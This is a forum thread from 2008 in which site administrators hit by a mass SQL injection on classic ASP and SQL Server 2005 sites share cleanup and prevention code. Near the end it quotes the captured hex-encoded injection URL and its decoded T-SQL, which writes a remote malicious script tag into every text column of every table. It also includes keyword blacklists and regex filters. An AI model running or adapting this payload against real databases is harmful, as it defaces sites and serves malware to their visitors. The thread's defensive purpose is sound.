BestAviation
asked on
SQL Injection Attack - how to stop it once it's started??
Hello,
I have fallen victim to an SQL injection attack (or what seems to be) and have had three Tables in a database corrupted with a script string reading <script src=http://www.banner82.com/b.js></script> and placing itself in every row and as many columns as it can.
I believe it may be caused by poor coding on my part (ie. not using parameterized coding in my SQL statements) but what I cannot figure out is how it manages to carry on. I have done the following preventive measures
1) Restored old Table in a new Table under a different name
2) Renamed every column in the new table
But before I have even managed to get around to changing the ASP code on my website to reflect these changes the data in the new table is getting corrupted!!
Only three Tables (out of many more) are affected but these are the three tables normally executed when a user is on my website - however the new table with the restored data has not been executed through my website yet at all! As far as any web user is concerned it doesn't even exist (I only just created the damn thing).
Can anyone give me a clue as to how it does it and how it manages to do it with such lightning speed???
No point restoring a DB if I can't stop it from corrupting itself the very next minute...
I use MS SQL 2005 on a Windows Server 2003 - my coding language is ASP
I have fallen victim to an SQL injection attack (or what seems to be) and have had three Tables in a database corrupted with a script string reading <script src=http://www.banner82.com/b.js></script> and placing itself in every row and as many columns as it can.
I believe it may be caused by poor coding on my part (ie. not using parameterized coding in my SQL statements) but what I cannot figure out is how it manages to carry on. I have done the following preventive measures
1) Restored old Table in a new Table under a different name
2) Renamed every column in the new table
But before I have even managed to get around to changing the ASP code on my website to reflect these changes the data in the new table is getting corrupted!!
Only three Tables (out of many more) are affected but these are the three tables normally executed when a user is on my website - however the new table with the restored data has not been executed through my website yet at all! As far as any web user is concerned it doesn't even exist (I only just created the damn thing).
Can anyone give me a clue as to how it does it and how it manages to do it with such lightning speed???
No point restoring a DB if I can't stop it from corrupting itself the very next minute...
I use MS SQL 2005 on a Windows Server 2003 - my coding language is ASP
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
unsure but this may help stop future attacks http://www.greensql.net/
ASKER
Hmm......just realised that it doesn't change the Table after I load in the backed up data - It does it simultaneously as I insert the data into the new Table.
Further - having done it a couple of times now it seems to be much the same columns it inserts the corrupted data into (even though the column name isn't the same).
I have looked at the MS Access file (which is the backup) I upload the data from and it doesn't have anything in it that shouldn't be there.......so it's not me loading corrupted info into a new table - it happens somewhere between the Access table and the SQL table =(
Having said this I'm starting to believe that the problem is hosted on the server and not executed remotely - any ideas where to start looking?
Can't find any triggers or DDL's that shouldn't be there...
Further - having done it a couple of times now it seems to be much the same columns it inserts the corrupted data into (even though the column name isn't the same).
I have looked at the MS Access file (which is the backup) I upload the data from and it doesn't have anything in it that shouldn't be there.......so it's not me loading corrupted info into a new table - it happens somewhere between the Access table and the SQL table =(
Having said this I'm starting to believe that the problem is hosted on the server and not executed remotely - any ideas where to start looking?
Can't find any triggers or DDL's that shouldn't be there...
SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
rootkit was actually something I had in mind - I'll try and see if it finds anything (shit - I'll try anything at this point)'
Thanks
Thanks
BestAviation:
This happened to us over the last 24 hours. It is not a rootkit. It is coming in from the Internet continuously. We also had a old ASP/SQL application exposed. I tried to used parameters, string handling, etc.... and I also kept cleaning up the offending script but it reappeared. The only way the injection stopped was to take the public website offline. Luckily, we had an ASP.NET 2.0 beta site that was sufficiently complete to put up. The injections stopped.
It is a nasty injection attack. At about 11:00 PM on 05-15-08 I googled "Banner82.com" and got two hits. This morning at 9 AM (05-16-08) I did the same search and got 99 hits. Just now, 8:00 PM (05-16-08) there are nearly 500 hits on Google. This exploit has got legs.
I've attached an update command to help clean up your tables. Replace <table> with your database table and <column> (both occurances) with the field column to which the script was appended.
The ASP application we took offline was huge and the result of years of work. We also had a less disruptive injection attack a few months back and thought we had the ASP code secured. I'm starting to question whether any ASP/SQL application should still be exposed to the web. ASP is wonder but OLD technology.
If you have a lot of tables suffering from the injection, Narayana Vyas Kondreddi wrote a nice stored procedure that will check all the tables in a database for a string (i.e., "Banner82.com"). It was very helpful in the cleanup.
Hope this helps!
This happened to us over the last 24 hours. It is not a rootkit. It is coming in from the Internet continuously. We also had a old ASP/SQL application exposed. I tried to used parameters, string handling, etc.... and I also kept cleaning up the offending script but it reappeared. The only way the injection stopped was to take the public website offline. Luckily, we had an ASP.NET 2.0 beta site that was sufficiently complete to put up. The injections stopped.
It is a nasty injection attack. At about 11:00 PM on 05-15-08 I googled "Banner82.com" and got two hits. This morning at 9 AM (05-16-08) I did the same search and got 99 hits. Just now, 8:00 PM (05-16-08) there are nearly 500 hits on Google. This exploit has got legs.
I've attached an update command to help clean up your tables. Replace <table> with your database table and <column> (both occurances) with the field column to which the script was appended.
The ASP application we took offline was huge and the result of years of work. We also had a less disruptive injection attack a few months back and thought we had the ASP code secured. I'm starting to question whether any ASP/SQL application should still be exposed to the web. ASP is wonder but OLD technology.
If you have a lot of tables suffering from the injection, Narayana Vyas Kondreddi wrote a nice stored procedure that will check all the tables in a database for a string (i.e., "Banner82.com"). It was very helpful in the cleanup.
Hope this helps!
UPDATE <table>
SET <column> = REPLACE(Cast<column> as VarChar(max)), '<script src=http://www.banner82.com/b.js></script>', '')
we got hit big time with this today. we have about 800 sites down because of it. First, where is this stored procedure you mentioned from Narayana Vyas Kondreddi? Second, we need some help to stop this injection. We're using SQL 2005 / ASP Classic. We did a full database restore and within a couple hours our database was again full of the banner82 scripts.
ASKER
ajhopen:
Thank you very much for that stored procedure. I'm in the process of rewriting everything over to stored procedures now to try and prevent it from happening again.
I have found a vounerability in my ASP code by having an SQL string with a variable that obtained from a search form - removed it
Also I found two users that I couldn't recognize - one in IIS that had execution rights and one in SQL with the same privledges. The username was a random string of numbers and letters (not the same combination in the two) - I deleted them
After this there has been no further attacks. What lead me to believe that it may not just come in from the internet is that when I did a restore the new Table under a different name and with no external access was imidiatly corrupted with the banner82 scripts.......
I have also been searching to see if there are any stored procedures that may be causing it - but haven't found anything so far.
Keep the ideas coming guys =) And thanks for the help.
Thank you very much for that stored procedure. I'm in the process of rewriting everything over to stored procedures now to try and prevent it from happening again.
I have found a vounerability in my ASP code by having an SQL string with a variable that obtained from a search form - removed it
Also I found two users that I couldn't recognize - one in IIS that had execution rights and one in SQL with the same privledges. The username was a random string of numbers and letters (not the same combination in the two) - I deleted them
After this there has been no further attacks. What lead me to believe that it may not just come in from the internet is that when I did a restore the new Table under a different name and with no external access was imidiatly corrupted with the banner82 scripts.......
I have also been searching to see if there are any stored procedures that may be causing it - but haven't found anything so far.
Keep the ideas coming guys =) And thanks for the help.
I got hit with the same exact attack except the string on mine is
<script src=http://firestnamestea.cn/q.js></script>
Bestaviation, can you walk me through what you did or looked for when cleaning up your site?
<script src=http://firestnamestea.cn/q.js></script>
Bestaviation, can you walk me through what you did or looked for when cleaning up your site?
ASKER
hibridassassin,
1) Take your website offline (ie. stop IIS)
2) Remove all dynamically created SQL strings from your coding
3) Check user access in IIS and SQL and make sure these are normal
4) Restore your database
5) Convert all SQL strings to stored procedures (as a minimum the dynamic ones to get your site up again)
6) Upload the new code, cross your fingers and hope you're given a break for now
7) Start converting the rest of your SQL strings to stored procedures and rethink your security
These are the steps that I have taken. After step one I actually took down all pages who called an SQL string and put up a temp page to notify my users the site was down - I thought it better than leaving the IIS stopped...
Other steps performed that came up fruitless was
1) Virus scan - nothing found
2) Toolkit Revealer - nothing found
3) Event viewer - couldn't find anything unusual
I'm rid of the problem now but I'm not 100% sure yet if it's because of my changes or because it has stopped spreading.
Hope this is of any help......
1) Take your website offline (ie. stop IIS)
2) Remove all dynamically created SQL strings from your coding
3) Check user access in IIS and SQL and make sure these are normal
4) Restore your database
5) Convert all SQL strings to stored procedures (as a minimum the dynamic ones to get your site up again)
6) Upload the new code, cross your fingers and hope you're given a break for now
7) Start converting the rest of your SQL strings to stored procedures and rethink your security
These are the steps that I have taken. After step one I actually took down all pages who called an SQL string and put up a temp page to notify my users the site was down - I thought it better than leaving the IIS stopped...
Other steps performed that came up fruitless was
1) Virus scan - nothing found
2) Toolkit Revealer - nothing found
3) Event viewer - couldn't find anything unusual
I'm rid of the problem now but I'm not 100% sure yet if it's because of my changes or because it has stopped spreading.
Hope this is of any help......
Here is some code from Narayana Vyas Kondreddi that can be used to clean up all tables in your database. Unfortunately this code will not work on TEXT and NTEXT fields becuase it has the Replace funciton. I am working on a stored procedure that will work on NTEXT fields.
Run the following to clean your entire database
Exec SearchAllTables '<script src=http://www.banner82.com/b.js></script>',''
GO
Run the following to clean your entire database
Exec SearchAllTables '<script src=http://www.banner82.com/b.js></script>',''
GO
CREATE PROC SearchAndReplace
(
@SearchStr nvarchar(100),
@ReplaceStr nvarchar(100)
)
AS
BEGIN
-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
-- Purpose: To search all columns of all tables for a given search string and replace it with another string
-- Written by: Narayana Vyas Kondreddi
-- Site: http://vyaskn.tripod.com
-- Tested on: SQL Server 7.0 and SQL Server 2000
-- Date modified: 2nd November 2002 13:50 GMT
SET NOCOUNT ON
DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int
SET @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
SET @RCTR = 0
WHILE @TableName IS NOT NULL
BEGIN
SET @ColumnName = ''
SET @TableName =
(
SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
AND OBJECTPROPERTY(
OBJECT_ID(
QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
), 'IsMSShipped'
) = 0
)
WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
BEGIN
SET @ColumnName =
(
SELECT MIN(QUOTENAME(COLUMN_NAME))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = PARSENAME(@TableName, 2)
AND TABLE_NAME = PARSENAME(@TableName, 1)
AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
AND QUOTENAME(COLUMN_NAME) > @ColumnName
)
IF @ColumnName IS NOT NULL
BEGIN
SET @SQL= 'UPDATE ' + @TableName +
' SET ' + @ColumnName
+ ' = REPLACE(' + @ColumnName + ', '
+ QUOTENAME(@SearchStr, '''') + ', ' + QUOTENAME(@ReplaceStr, '''') +
') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
EXEC (@SQL)
SET @RCTR = @RCTR + @@ROWCOUNT
END
END
END
SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'
END
Thanks for all the help... unfortunately, i am taking over a previous programmer who never used stored procs and all the sql queries are created dynamically. It will take me some time to fix my companie's website but I found the attached codes very useful in preventing the sql injections, I found the codes at:
http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx
http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx
SqlCheckInclude.asp
This is the code that does the main filtering. Copy the code below into an ASP file and modify according to your needs. The main things you need to add/modify for your needs are the BlackList array and the ErrorPage you want to forward to. Deploy this file in a location that will be accessible to all your web applications. Make sure that the path to your error page is correct. Use a full path here if possible, since this code will get included into several applications that may all reside in different physical directories.
<%
' SqlCheckInclude.asp
'
' Author: Nazim Lala
'
' This is the include file to use with your asp pages to
' validate input for SQL injection.
Dim BlackList, ErrorPage
'
' Below is a black list that will block certain SQL commands and
' sequences used in SQL injection will help with input sanitization
'
' However this is may not suffice, because:
' 1) These might not cover all the cases (like encoded characters)
' 2) This may disallow legitimate input
'
' Creating a raw sql query strings by concatenating user input is
' unsafe programming practice. It is advised that you use parameterized
' SQL instead. Check http://support.microsoft.com/kb/q164485/ for information
' on how to do this using ADO from ASP.
'
' Moreover, you need to also implement a white list for your parameters.
' For example, if you are expecting input for a zipcode you should create
' a validation rule that will only allow 5 characters in [0-9].
'
BlackList = Array("--", ";", "/*", "*/", "@@", "@",_
"char", "nchar", "varchar", "nvarchar",_
"alter", "begin", "cast", "create", "cursor",_
"declare", "delete", "drop", "end", "exec",_
"execute", "fetch", "insert", "kill", "open",_
"select", "sys", "sysobjects", "syscolumns",_
"table", "update")
' Populate the error page you want to redirect to in case the
' check fails.
ErrorPage = "/ErrorPage.asp"
'''''''''''''''''''''''''''''''''''''''''''''''''''
' This function does not check for encoded characters
' since we do not know the form of encoding your application
' uses. Add the appropriate logic to deal with encoded characters
' in here
'''''''''''''''''''''''''''''''''''''''''''''''''''
Function CheckStringForSQL(str)
On Error Resume Next
Dim lstr
' If the string is empty, return true
If ( IsEmpty(str) ) Then
CheckStringForSQL = false
Exit Function
ElseIf ( StrComp(str, "") = 0 ) Then
CheckStringForSQL = false
Exit Function
End If
lstr = LCase(str)
' Check if the string contains any patterns in our
' black list
For Each s in BlackList
If ( InStr (lstr, s) <> 0 ) Then
CheckStringForSQL = true
Exit Function
End If
Next
CheckStringForSQL = false
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''''
' Check forms data
'''''''''''''''''''''''''''''''''''''''''''''''''''
For Each s in Request.Form
If ( CheckStringForSQL(Request.Form(s)) ) Then
' Redirect to an error page
Response.Redirect(ErrorPage)
End If
Next
'''''''''''''''''''''''''''''''''''''''''''''''''''
' Check query string
'''''''''''''''''''''''''''''''''''''''''''''''''''
For Each s in Request.QueryString
If ( CheckStringForSQL(s) ) Then
' Redirect to error page
Response.Redirect(ErrorPage)
End If
Next
'''''''''''''''''''''''''''''''''''''''''''''''''''
' Check cookies
'''''''''''''''''''''''''''''''''''''''''''''''''''
For Each s in Request.Cookies
If ( CheckStringForSQL(s) ) Then
' Redirect to error page
Response.Redirect(ErrorPage)
End If
Next
'''''''''''''''''''''''''''''''''''''''''''''''''''
' Add additional checks for input that your application
' uses. (for example various request headers your app
' might use)
'''''''''''''''''''''''''''''''''''''''''''''''''''
%>
TestPage.asp
This is a sample that shows how to include the script above in my application. Make sure the path to your include file is correct. The example below is for the application and the include file being in the same directory. Make sure you modify the path if these 2 are not in the same directory.
<%
' TestPage.asp
'
' Author: Nazim Lala
'
' This is a file to test the SQLCheckInclude file. The idea here is that you add
' the include file to the beginning of every asp page to get SQL injection
' input validation
%>
<!--#include file="SqlCheckInclude.asp"-->
<%
Response.Write("Welcome to the Test Page.")
Response.Write("If you are seeing this page then SQL validation succeeded.")
%>
ErrorPage.asp
If a black list string is found in any input, this is the page you will be forwarded to. You can reuse any custom error page that you already have for this. I am including this only for the sake of completeness.
<%
' ErrorPage.asp
'
' Author: Nazim Lala
'
' This is the error page that users will be redirected to if the input cannot
' be validated
%>
<%Response.Write("ERROR: Invalid Input")%>
SendEmail.asp
This script sends email via a remote SMTP server that uses credentials. You will need to integrate this into your application at the right place to get error reporting via email.
<%
' SendEmail.asp
' Author: Nazim Lala
Function SendEmail(email, msg)
On Error Resume Next
' If the string is empty, return false
If ( IsEmpty(email) ) Then
SendEmail = false
Exit Function
ElseIf ( StrComp(email, "") = 0 ) Then
SendEmail = false
Exit Function
End If
Set cdoConfig = CreateObject("CDO.Configuration")
With cdoConfig.Fields
.Item(cdoSendUsingMethod) = cdoSendUsingPort
' Fill in server name for remote SMTP server and
' credentials
.Item(cdoSMTPServer) = "smtpserver.foo.com"
.Item(cdoSMTPAuthenticate) = 1
.Item(cdoSendUsername) = "username"
.Item(cdoSendPassword) = "password"
.Update
End With
Set cdoMessage = CreateObject("CDO.Message")
With cdoMessage
'Fill in sender information
Set .Configuration = cdoConfig
.From = "me@myself.com"
.To = email
.Subject = "Test Email"
.TextBody = msg
.Send
End With
Set cdoMessage = Nothing
Set cdoConfig = Nothing
SendEmail = true
End Function
%>
<FORM VERB=POST METHOD="POST">
Test page for checking input with possible SQL injection.<br><br>
Email: <INPUT NAME=Email></INPUT><BR>
Message: <INPUT NAME=Message></INPUT><BR>
Sent: <% = SendEmail(Request("Email"),Request("Message")) %><BR>
<BUTTON TYPE=SUBMIT>Submit</BUTTON>
</FORM>
I maintain an old asp site as well with way too much embedded sql to rework as parameterized calls
I like to minimize the lines of code for easier maintenance, so i used a regexp instead of the blacklist string array, but the basic idea is the same.
the regexp is probably faster too (though i haven't tested the performance)
ps - i noticed some bugs in the blacklist code above if you use "Option Explicit" for your code
I like to minimize the lines of code for easier maintenance, so i used a regexp instead of the blacklist string array, but the basic idea is the same.
the regexp is probably faster too (though i haven't tested the performance)
ps - i noticed some bugs in the blacklist code above if you use "Option Explicit" for your code
' this creates a global regexp object g_bl for testing strings against sql injection
dim g_bl
set g_bl = New RegExp
g_bl.Pattern = "banner82|xp_|;|--|/\*|<script|</script|ntext|nchar|varchar|nvarchar|alter|begin|create|cursor|declare|delete|drop|exec|execute|fetch|insert|kill|open|sys|sysobjects|syscolumns|table|update"
g_bl.IgnoreCase = true
g_bl.Multiline = true
' now you can use the regexp to test whether strings contain any of the blacklisted substrings
' e.g. to check if s is clean: if g_bl.Test(s) then ...
ASKER
jurgenl:
Thanks - THAT is just what I'm looking for =)
Thanks - THAT is just what I'm looking for =)
Jurgent,
I will give that a try later on.
I will give that a try later on.
Here are some more suggestions from microsoft themselves:
SQL Injection Attacks on IIS Web Servers
http://blogs.iis.net/bills/archive/2008/04/25/sql-injection-attacks-on-iis-web-servers.aspx
Questions about Web Server Attacks
http://blogs.technet.com/msrc/archive/2008/04/25/questions-about-web-server-attacks.aspx
How To: Protect From SQL Injection in ASP.NET
http://msdn.microsoft.com/en-us/library/ms998271.aspx
Improving Web Application Security: Threats and Countermeasures
http://msdn.microsoft.com/en-us/library/ms994921.aspx
SQL Injection Attacks on IIS Web Servers
http://blogs.iis.net/bills/archive/2008/04/25/sql-injection-attacks-on-iis-web-servers.aspx
Questions about Web Server Attacks
http://blogs.technet.com/msrc/archive/2008/04/25/questions-about-web-server-attacks.aspx
How To: Protect From SQL Injection in ASP.NET
http://msdn.microsoft.com/en-us/library/ms998271.aspx
Improving Web Application Security: Threats and Countermeasures
http://msdn.microsoft.com/en-us/library/ms994921.aspx
Jurgenl,
To use the code you gave, could I add that an include file for all my pages? I am very new to all this but for the if statement, would I have to write one for each input on the forms? And in g_bl.Test(s), what is Test referring to along with (s)? Sorry if this is a really dumb question.
To use the code you gave, could I add that an include file for all my pages? I am very new to all this but for the if statement, would I have to write one for each input on the forms? And in g_bl.Test(s), what is Test referring to along with (s)? Sorry if this is a really dumb question.
Yes, the first 6 lines above create a global object containing the regular expresssion. This code needs to be executed once (like an include asp file) before processing the text and running sql.
the remainder of the snippet was just an example in a comment for how to apply the regexp. g_bl.Test(s) is how you would invoke the Test method of the regexp object on the string in s. This method returns true if the regexp matches the string.
for more details see
http://msdn.microsoft.com/en-us/library/ms974570.aspx
Here is another sample snippet which assumes that the string to be tested is the entire sql query (not just a web query form parameter) in a variable called sql and g_rs is a global recordset object for holding the resultset of the query. The function executes the query using an ADODB.Connection object passed in as a parameter with the sql string.
In this case, if the Test method returns true, the function calls ErrOut, defined below as well.
You have to be careful using this approach because if your application needs to process legitimate input strings containing the words in the g_bl blacklist the errOut will fire - this doesn't happen in our case because our application doesn't process generic user input except in very limited ways - there are no name/address forms going into the sql database directly. This was just a convenient place for us to put the test.
the remainder of the snippet was just an example in a comment for how to apply the regexp. g_bl.Test(s) is how you would invoke the Test method of the regexp object on the string in s. This method returns true if the regexp matches the string.
for more details see
http://msdn.microsoft.com/en-us/library/ms974570.aspx
Here is another sample snippet which assumes that the string to be tested is the entire sql query (not just a web query form parameter) in a variable called sql and g_rs is a global recordset object for holding the resultset of the query. The function executes the query using an ADODB.Connection object passed in as a parameter with the sql string.
In this case, if the Test method returns true, the function calls ErrOut, defined below as well.
You have to be careful using this approach because if your application needs to process legitimate input strings containing the words in the g_bl blacklist the errOut will fire - this doesn't happen in our case because our application doesn't process generic user input except in very limited ways - there are no name/address forms going into the sql database directly. This was just a convenient place for us to put the test.
function DoQuery(conn, sql) ' always operates on the same recordset (g_rs)
if g_rs.state <> 0 then g_rs.Close
set g_rs.ActiveConnection = conn
if g_bl.Test(sql) then
ErrOut "Error: please go back and try with another input."
else
g_rs.Open sql
end if
end function
sub ErrOut(msg)
Response.Write msg
Response.End
end sub
For what it is worth, I think I captured what seems to be the offending injection from this malware:
test.asp?Type=10;DECLARE%2 0@S%20VARC HAR(4000); SET%20@S=C AST(0x4445 434C415245 2040542056 4152434841 5228323535 292C404320 5641524348 4152283235 3529204445 434C415245 205461626C 655F437572 736F722043 5552534F52 20464F5220 53454C4543 5420612E6E 616D652C62 2E6E616D65 2046524F4D 207379736F 626A656374 7320612C73 7973636F6C 756D6E7320 6220574845 524520612E 69643D622E 696420414E 4420612E78 747970653D 2775272041 4E44202862 2E78747970 653D393920 4F5220622E 7874797065 3D3335204F 5220622E78 747970653D 323331204F 5220622E78 747970653D 3136372920 4F50454E20 5461626C65 5F43757273 6F72204645 544348204E 4558542046 524F4D2054 61626C655F 437572736F 7220494E54 4F2040542C 4043205748 494C452840 4046455443 485F535441 5455533D30 2920424547 494E204558 4543282755 5044415445 205B272B40 542B275D20 534554205B 272B40432B 275D3D5254 52494D2843 4F4E564552 5428564152 4348415228 3430303029 2C5B272B40 432B275D29 292B27273C 7363726970 7420737263 3D68747470 3A2F2F7777 772E62616E 6E65723832 2E6F72672F 622E6A733E 3C2F736372 6970743E27 2727292046 4554434820 4E45585420 46524F4D20 5461626C65 5F43757273 6F7220494E 544F204054 2C40432045 4E4420434C 4F53452054 61626C655F 437572736F 7220444541 4C4C4F4341 5445205461 626C655F43 7572736F72 20%20AS%20 VARCHAR(40 00));EXEC( @S);--
test.asp?Type=10;DECLARE%2
We've been hit 4 times by this in 3 days, after one several months ago. Affecting 18 sites. We adjusted the code then, but clearly not enough. Right now our database is read only, but now very gingerly we want to restore some forms.
I would be extremely grateful if somebody can confirm that the SP below is safe, as I must admit to being not quite sure what 'dynamic SL' is and whether we've avoided it.
Also is the Dreamweaver 8 code, calling this SP, sufficiently safe?
Thanks for any input!
I would be extremely grateful if somebody can confirm that the SP below is safe, as I must admit to being not quite sure what 'dynamic SL' is and whether we've avoided it.
Also is the Dreamweaver 8 code, calling this SP, sufficiently safe?
Thanks for any input!
CREATE PROCEDURE usp_xxxx
@ClientFirstName nvarchar(50),
@ClientLastName nvarchar(50),
@ClientEmail nvarchar(70),
@Request ntext,
@SupServID int,
@Source nvarchar(50)
AS
INSERT INTO dbo.tblRequestsForm1All (ClientFirstName, ClientLastName, ClientEmail, Request, SupServID, Source)
VALUES (@ClientFirstName, @ClientLastName, @ClientEmail, @Request, @SupServID, @Source)
GO
HERE IS THE WEBPAGE CODE USING THE SP, AND GENERATED BY DREAMWEAVER:-
<%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%>
<!--#include file="../Connections/xxxx.asp" -->
<%
Dim Command1__ClientFirstName
Command1__ClientFirstName = ""
if(Request("ClientFirstName") <> "") then Command1__ClientFirstName = Request("ClientFirstName")
Dim Command1__ClientLastName
Command1__ClientLastName = ""
if(Request("ClientLastName") <> "") then Command1__ClientLastName = Request("ClientLastName")
%>
<%
set Command1 = Server.CreateObject("ADODB.Command")
Command1.ActiveConnection = MM_SQSP_STRING
Command1.CommandText = "dbo.usp_xxxx"
Command1.Parameters.Append Command1.CreateParameter("@RETURN_VALUE", 3, 4)
Command1.Parameters.Append Command1.CreateParameter("@ClientFirstName", 200, 1,50,Command1__ClientFirstName)
Command1.Parameters.Append Command1.CreateParameter("@ClientLastName", 200, 1,50,Command1__ClientLastName)
Command1.CommandType = 4
Command1.CommandTimeout = 0
Command1.Prepared = true
Command1.Execute()
Response.Redirect "thanks.htm"
%>
ASKER
A dynamic SQL string is when you use user defined variables to create the SQL string
EX:
URL: test.asp?ID=12345
SQL = "SELECT * FROM Table WHERE ID=" & request.QueryString("ID") & ""
This will show the table row with the ID 12345......however this is very vulnerable to a SQL injection attack as "wrongdoers" can change the url and still pass on a query to your SQL server with SQL commands that may be harmful. This seems to be the way the current attack has been conducted as every site I can find who is reporting they have been hit seem to have log entries suggesting the above. In my case it was a search form with a dynamic SQL string that was the entry point.....somewhat like the string below.
SQL = "SELECT * FROM Table WHERE Name=" & request.Form("searchText") & ""
I can't see anything wrong in your stored procedure and it definitely is the way to go. If you want to add an extra layer of security you can also use a check function (like the RegExp submitted by jurgenl earlier in this tread) before you send the info off to your SP.
Also I noticed you use Request("ClientFirstName") ----> If this is from a form I would recommend using method="post" and you should specify it as Request.Form("ClientFirstN ame") in your ASP. If you only use "Request" the server will run through all the command options so in this case a wrongdoer could exploit the vounlerability by passing a querystring in the URL Ex test.asp?ClientFirstName=1 0;DECLARE% 20@S%20VAR CHAR(4000) ;SET....
Since you didnt specify where to look the server will look through all the request commands to try and find a match.
If you use method="get" in your form all the variables will become visible in the URL once the form is submitted. This again leaves you very open to manipulating the URL as a wrongdoer would only have to submit your form once and then he would have a URL he can manipulate freely.
You can also argue that with method="post" all you have to do is submit the form over and over again and you're still left very open to attacks...... very true - and that's just why you should A) check the variables before you pass them on to the stored procedure B) Use stored procedures where ever possible.
Have a safe coding day =)
EX:
URL: test.asp?ID=12345
SQL = "SELECT * FROM Table WHERE ID=" & request.QueryString("ID") & ""
This will show the table row with the ID 12345......however this is very vulnerable to a SQL injection attack as "wrongdoers" can change the url and still pass on a query to your SQL server with SQL commands that may be harmful. This seems to be the way the current attack has been conducted as every site I can find who is reporting they have been hit seem to have log entries suggesting the above. In my case it was a search form with a dynamic SQL string that was the entry point.....somewhat like the string below.
SQL = "SELECT * FROM Table WHERE Name=" & request.Form("searchText")
I can't see anything wrong in your stored procedure and it definitely is the way to go. If you want to add an extra layer of security you can also use a check function (like the RegExp submitted by jurgenl earlier in this tread) before you send the info off to your SP.
Also I noticed you use Request("ClientFirstName")
Since you didnt specify where to look the server will look through all the request commands to try and find a match.
If you use method="get" in your form all the variables will become visible in the URL once the form is submitted. This again leaves you very open to manipulating the URL as a wrongdoer would only have to submit your form once and then he would have a URL he can manipulate freely.
You can also argue that with method="post" all you have to do is submit the form over and over again and you're still left very open to attacks...... very true - and that's just why you should A) check the variables before you pass them on to the stored procedure B) Use stored procedures where ever possible.
Have a safe coding day =)
Jurgenl,
BestAviation gave a very helpful check of the new coding we want to use to avoid another SQL attack. He recommends we use your checkfunction on the form input, and this seems a great idea.
I apologize for questions that definitely show we are rather amateurs here. They follow on from those of hibridassassin, and your answers to that, which I've tried to follow.
a) Should the 6 lines of code be enclosed in ASP signs, <% and %>? Our pages are VBScript, but we have always used ASP coding. (Sorry, this is a very basic question!)
b) To use this 6 line code, could I add that as an include file for all my form pages?
c) Do I need to add code for each input field on the form?
d) If the field name is for example Itinerary, is the check code for that input:-
<% If g_bl.Test(Itinerary) = 1 Then Response.Write "Error: please go back and try with another input."
Else
End If %>
Sorry for these really dumb questions, but appreciate any help.
BestAviation gave a very helpful check of the new coding we want to use to avoid another SQL attack. He recommends we use your checkfunction on the form input, and this seems a great idea.
I apologize for questions that definitely show we are rather amateurs here. They follow on from those of hibridassassin, and your answers to that, which I've tried to follow.
a) Should the 6 lines of code be enclosed in ASP signs, <% and %>? Our pages are VBScript, but we have always used ASP coding. (Sorry, this is a very basic question!)
b) To use this 6 line code, could I add that as an include file for all my form pages?
c) Do I need to add code for each input field on the form?
d) If the field name is for example Itinerary, is the check code for that input:-
<% If g_bl.Test(Itinerary) = 1 Then Response.Write "Error: please go back and try with another input."
Else
End If %>
Sorry for these really dumb questions, but appreciate any help.
coloradodude posted the exploit most of which is obfuscated in hex
notice that if you're using blacklist words to filter for this kind of thing, there are only 3 words and the '--' comment to block: "DECLARE" "VARCHAR" and EXEC"
here is the offensive SQL translated from the hex... hair raising!
notice that if you're using blacklist words to filter for this kind of thing, there are only 3 words and the '--' comment to block: "DECLARE" "VARCHAR" and EXEC"
here is the offensive SQL translated from the hex... hair raising!
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.banner82.org/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
responding to pcardwell
a quick and dirty (incomplete) way to prevent this particular attack would be to prevent the execution of any sql query which matches the exploit as posted by coloradodude
e.g. simply testing ALL sql executed from form pages to verify that the sql does NOT contain the word "DECLARE" would be sufficient, but obviously would not prevent other similar attacks which didn't use that word.
part of the difficulty with the blacklist approach is that if your form is collecting arbitrary input like names, comments etc. you don't want to block characters like ';' or words like "begin"
but at least this blacklist solution might block the exploit while you invest in a more robust way to prevent similar attacks.
so, practically, all you have to do is insert the code below at the top of each form page, and then test the sql before you execute it.
a quick and dirty (incomplete) way to prevent this particular attack would be to prevent the execution of any sql query which matches the exploit as posted by coloradodude
e.g. simply testing ALL sql executed from form pages to verify that the sql does NOT contain the word "DECLARE" would be sufficient, but obviously would not prevent other similar attacks which didn't use that word.
part of the difficulty with the blacklist approach is that if your form is collecting arbitrary input like names, comments etc. you don't want to block characters like ';' or words like "begin"
but at least this blacklist solution might block the exploit while you invest in a more robust way to prevent similar attacks.
so, practically, all you have to do is insert the code below at the top of each form page, and then test the sql before you execute it.
<%
' this creates a global regexp object g_bl for testing strings against sql injection
dim g_bl
